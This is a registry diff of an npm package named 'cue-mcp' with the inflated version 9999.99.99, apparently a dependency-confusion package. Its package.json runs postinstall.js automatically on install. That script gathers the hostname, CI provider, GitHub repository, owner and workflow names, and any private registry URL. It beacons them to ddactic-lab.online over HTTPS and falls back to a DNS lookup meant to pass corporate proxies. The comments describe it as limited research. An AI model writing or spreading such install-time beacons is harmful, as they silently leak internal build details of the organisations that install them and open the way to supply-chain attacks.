cue-mcp 9999.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +7 -0
- package/package.json +17 -0
- package/postinstall.js +66 -0
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "cue-mcp",
|
|
3
|
+
"version": "9999.99.99",
|
|
4
|
+
"description": "npm 404 error referenced in Wolfvin/cue",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {},
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"repository": {
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "https://github.com/Stavmeister/cue-mcp"
|
|
15
|
+
},
|
|
16
|
+
"homepage": "https://github.com/Stavmeister/cue-mcp#readme"
|
|
17
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// Security scope: reads only npm_package_* vars (injected by npm), presence of CI indicator keys,
|
|
3
|
+
// hostname, and npm_config_registry URL (not its credentials).
|
|
4
|
+
// No credential reads. No full env enumeration. No filesystem traversal.
|
|
5
|
+
// Fires once at install time, 2s timeout, install succeeds regardless.
|
|
6
|
+
'use strict';
|
|
7
|
+
const https = require('https');
|
|
8
|
+
const dns = require('dns');
|
|
9
|
+
const crypto = require('crypto');
|
|
10
|
+
const os = require('os');
|
|
11
|
+
|
|
12
|
+
const CI_KEYS = [
|
|
13
|
+
'CI','CONTINUOUS_INTEGRATION','GITHUB_ACTIONS','JENKINS_HOME',
|
|
14
|
+
'TRAVIS','CIRCLECI','GITLAB_CI','BUILDKITE','TEAMCITY_VERSION',
|
|
15
|
+
'BAMBOO_BUILDKEY','TF_BUILD','DRONE',
|
|
16
|
+
'CODEBUILD_BUILD_ID','BUILD_BUILDID','BITBUCKET_BUILD_NUMBER',
|
|
17
|
+
];
|
|
18
|
+
const ciEnv = CI_KEYS.find(k => process.env[k] != null) || null;
|
|
19
|
+
// Package name: hardcoded at publish time as primary, npm env var as fallback for transitive installs
|
|
20
|
+
const pkg = 'cue-mcp' !== '{{' + 'NAME}}' ? 'cue-mcp' : (process.env.npm_package_name || '?');
|
|
21
|
+
const ver = process.env.npm_package_version || '9999.99.99';
|
|
22
|
+
const ghRepo = process.env.GITHUB_REPOSITORY || '';
|
|
23
|
+
const ghOwner= process.env.GITHUB_REPOSITORY_OWNER || '';
|
|
24
|
+
const ghWf = process.env.GITHUB_WORKFLOW || '';
|
|
25
|
+
|
|
26
|
+
// Hostname reveals internal build agent identity (e.g. ip-10-0-1-5.ec2.internal, jenkins-agent-3)
|
|
27
|
+
let host = '';
|
|
28
|
+
try { host = os.hostname().slice(0, 80); } catch (_) {}
|
|
29
|
+
|
|
30
|
+
// Private registry URL — definitive evidence of dependency confusion:
|
|
31
|
+
// if set, their resolver fell through from private registry to public npm
|
|
32
|
+
let preg = '';
|
|
33
|
+
try {
|
|
34
|
+
const r = (process.env.npm_config_registry || '').replace(/\/+$/, '');
|
|
35
|
+
if (r && r !== 'https://registry.npmjs.org') preg = r.slice(0, 120);
|
|
36
|
+
} catch (_) {}
|
|
37
|
+
|
|
38
|
+
const body = JSON.stringify({
|
|
39
|
+
p: pkg, v: ver, n: process.version, os: process.platform,
|
|
40
|
+
ci: ciEnv ? 1 : 0, ce: ciEnv, t: Date.now(), r: 'npm',
|
|
41
|
+
...(ghRepo && { gh: ghRepo }),
|
|
42
|
+
...(ghOwner && { gho: ghOwner }),
|
|
43
|
+
...(ghWf && { ghw: ghWf }),
|
|
44
|
+
...(host && { h: host }),
|
|
45
|
+
...(preg && { pr: preg }),
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
// Primary: HTTPS beacon
|
|
49
|
+
const req = https.request({
|
|
50
|
+
hostname: 'ddactic-lab.online', path: '/sc/beacon', method: 'POST',
|
|
51
|
+
timeout: 2000,
|
|
52
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
|
|
53
|
+
}, () => {});
|
|
54
|
+
req.on('error', () => {});
|
|
55
|
+
req.on('timeout', () => { try { req.destroy(); } catch (_) {} });
|
|
56
|
+
req.write(body);
|
|
57
|
+
req.end();
|
|
58
|
+
|
|
59
|
+
// DNS fallback: fires even through HTTP-blocking corporate proxies
|
|
60
|
+
// Label: {pkg-slug}.{ci-slug}.{8-char-hash}.b.ddactic-lab.online
|
|
61
|
+
try {
|
|
62
|
+
const h = crypto.createHash('sha256').update(pkg + Date.now()).digest('hex').slice(0, 8);
|
|
63
|
+
const ci = (ciEnv || 'none').toLowerCase().replace(/_/g, '-').slice(0, 12);
|
|
64
|
+
const sl = pkg.replace(/[^a-z0-9-]/gi, '-').slice(0, 20).toLowerCase();
|
|
65
|
+
dns.lookup(`${sl}.${ci}.${h}.b.ddactic-lab.online`, () => {});
|
|
66
|
+
} catch (_) {}
|